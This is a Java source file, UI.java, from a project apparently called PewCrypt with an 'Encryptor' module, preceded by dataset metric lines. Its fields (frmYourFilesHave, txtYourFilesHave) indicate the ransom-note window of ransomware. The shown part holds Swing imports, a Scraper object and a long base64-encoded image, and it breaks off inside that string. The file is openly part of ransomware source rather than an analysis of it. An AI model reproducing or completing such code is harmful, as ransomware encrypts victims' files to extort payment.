"qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 17.99404762, "qsc_doc_frac_chars_hyperlink_html_tag": 0.01504702, "qsc_doc_frac_chars_alphabet": 0.81635992, "qsc_doc_frac_chars_digital": 0.07811861, "qsc_doc_frac_chars_whitespace": 0.23354232, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
000JustMe/PewCrypt
|
Encryptor/src/main/UI.java
|
package main;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JTextField;
import java.awt.Color;
import java.awt.Desktop;
import javax.swing.SwingConstants;
import javax.swing.JTextArea;
import java.awt.Font;
import javax.swing.JProgressBar;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.awt.event.ActionEvent;
import javax.xml.bind.DatatypeConverter;
import java.net.URI;
import java.net.URISyntaxException;
import javax.swing.JLabel;
import java.awt.Window.Type;
public class UI {
private static Scraper scraper = new Scraper();
private JFrame frmYourFilesHave;
private JTextField txtYourFilesHave;
private final static String imgB64 = "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